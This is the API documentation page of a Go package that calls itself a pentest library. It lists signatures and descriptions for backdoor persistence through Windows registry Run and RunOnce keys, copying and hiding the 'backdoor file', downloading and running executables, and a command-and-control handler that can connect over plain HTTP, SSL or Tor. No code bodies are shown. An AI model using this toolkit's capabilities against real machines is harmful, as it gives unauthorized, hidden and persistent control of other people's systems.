Documentation ¶
Overview ¶
Package for pentest. It contains startup, persistence and some useful utils for pentest.
Index ¶
- Constants
- func AddCopyPersistence(path string, change, hide bool) error
- func AddCurrentFileToStartupUsingHkcuRun(name string) error
- func AddCurrentFileToStartupUsingHkcuRunOnce(name string) error
- func AddCurrentFileToStartupUsingHklmRun(name string) error
- func AddCurrentFileToStartupUsingHklmRunOnce(name string) error
- func AddExternalFileToStartupUsingHkcuRun(name, path string) error
- func AddExternalFileToStartupUsingHkcuRunOnce(name, path string) error
- func AddExternalFileToStartupUsingHklmRun(name, path string) error
- func AddExternalFileToStartupUsingHklmRunOnce(name, path string) error
- func ByteToHexString(b [32]byte) string
- func CopyDirectory(src, dst string) error
- func CopyFile(src, dst string) error
- func DeleteHkcuRunOnceStartup(name string) error
- func DeleteHkcuRunStartup(name string) error
- func DeleteHklmRunOnceStartup(name string) error
- func DeleteHklmRunStartup(name string) error
- func DownloadFile(url, path string) error
- func DownloadString(url string) (string, error)
- func GenerateUniqueID() (string, error)
- func GetCurrentPath() (string, error)
- func GetPrivateIP() (string, error)
- func GetPublicIP() (string, error)
- func GetRandomString(n int) string
- func HexStringToByte(str string) []byte
- func RemoveFile(path string) error
- func RunExecutable(path string, hide bool) (*os.Process, error)
- type Command
- type Commands
- type Handler
Constants ¶
const ( // Use normal HTTP connection when connecting C&C. CONNECTION_NORMAL = 0 // Use Tor secured HTTP connection when connecting C&C. // It will use embedded Tor with Bine package. CONNECTION_TOR = 1 // Use SSL encrypted HTTP connection when connecting C&C. CONNECTION_SSL = 2 )
Variables ¶
This section is empty.
Functions ¶
func AddCopyPersistence ¶
Copy current backdoor file to another location to prepare for someone erasing the current file. If u set change as true, current backdoor exited after run copied file. If u set hide as true, copied file will be hid.
func AddCurrentFileToStartupUsingHkcuRun ¶ added in v0.2.3
Add current file to HKCU Run registry for startup.
func AddCurrentFileToStartupUsingHkcuRunOnce ¶ added in v0.2.3
Add current file to HKCU RunOnce registry for startup. It will be deleted after reboot.
func AddCurrentFileToStartupUsingHklmRun ¶ added in v0.2.3
Add current file to HKLM Run registry for startup. It required admin privileges.
func AddCurrentFileToStartupUsingHklmRunOnce ¶ added in v0.2.3
Add current file to HKLM RunOnce registry for startup. It required admin privileges. It will be deleted after reboot.
func AddExternalFileToStartupUsingHkcuRun ¶ added in v0.2.3
Add external file to HKCU Run registry for startup.
func AddExternalFileToStartupUsingHkcuRunOnce ¶ added in v0.2.3
Add external file to HKCU RunOnce registry for startup. It will be deleted after reboot.
func AddExternalFileToStartupUsingHklmRun ¶ added in v0.2.3
Add external file to HKLM Run registry for startup. It required admin privileges.
func AddExternalFileToStartupUsingHklmRunOnce ¶ added in v0.2.3
Add external file to HKLM RunOnce registry for startup. It required admin privileges. It will be deleted after reboot.
func ByteToHexString ¶ added in v0.3.1
Change byte array to hex string.
func DeleteHkcuRunOnceStartup ¶ added in v0.2.3
Delete key in HKCU RunOnce registry for startup.
func DeleteHkcuRunStartup ¶ added in v0.2.3
Delete key in HKCU Run registry for startup.
func DeleteHklmRunOnceStartup ¶ added in v0.2.3
Delete key in HKLM RunOnce registry for startup.
func DeleteHklmRunStartup ¶ added in v0.2.3
Delete key in HKLM Run registry for startup.
func DownloadFile ¶
Download file from url then save to path.
func DownloadString ¶
Download string from url then return downloaded string.
func GenerateUniqueID ¶ added in v0.3.1
func GetPublicIP ¶
Get public IP of current device. To get public IP, it will send http request to external web service.
func HexStringToByte ¶ added in v0.3.1
Change byte array to hex string.
Types ¶
type Handler ¶ added in v0.3.1
type Handler struct { Host string Port int Interval int ConnectionType int Commands map[string]func(...string) }
func NewHandler ¶ added in v0.3.1
Create new handler and return it.
func (*Handler) AddCommand ¶ added in v0.3.1
Add command to handler.
func (*Handler) RemoveCommand ¶ added in v0.3.1
Remove command from handler.
func (*Handler) SetInterval ¶ added in v0.3.1
Set interval in second between each HTTP request.